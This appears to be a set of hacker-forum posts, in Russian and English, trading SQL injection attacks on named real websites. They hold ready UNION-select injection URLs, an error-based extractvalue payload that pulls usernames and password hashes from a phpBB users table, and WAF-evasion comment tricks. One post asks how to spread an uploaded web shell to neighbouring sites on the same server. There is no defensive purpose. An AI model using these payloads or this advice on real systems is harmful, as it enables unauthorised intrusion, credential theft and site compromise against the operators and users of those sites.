http://www.afr.ru/region/(303)and(1)=(0)union(select(@@version),@@version,@@version)# Не могу найти вывод.
Блин... Сначал найди кол-во: http://www.afr.ru/region/(303)and(1)=(0)union(select(1),2,3)# http://www.afr.ru/region/(303)and(1)=(0)union(select(1),2,3,4)# и т.д. пока не исчезнет ошибка...
1 and extractvalue(rand(),concat(0x3a,(select concat(char(58),user_id,char(58),username,char(58),user_password) from phpbb_users limit 1001,1)))-- подскажите прогу чтоб сдампить таблицу, стоит форум phpbb
Code: http://ogra.org.pk/cats_disp.php?cat=-172 It has 8 order by. I cannot get tables. It's WAF and I've tried all my WAF skills.
http://ogra.org.pk//cats_disp.php?cat=-20+/*!union*/+select+1,2,3,4,5,/*!table_name*/,7,8/**//*!from*//**/information_schema.%60tables%60--+ =\
залил шелл на один сайт, потом решил залить на соседние сайты, все норм задивается но файл не находит, другие файлы с этой директории читает кроме моих, как можно решить проблему?
Возможно сайты на другом сервере. Т.е. у тебя остались старые версии сайтов. Попробуй сделать что-то типа 123.txt, если не находит, то возможно я прав.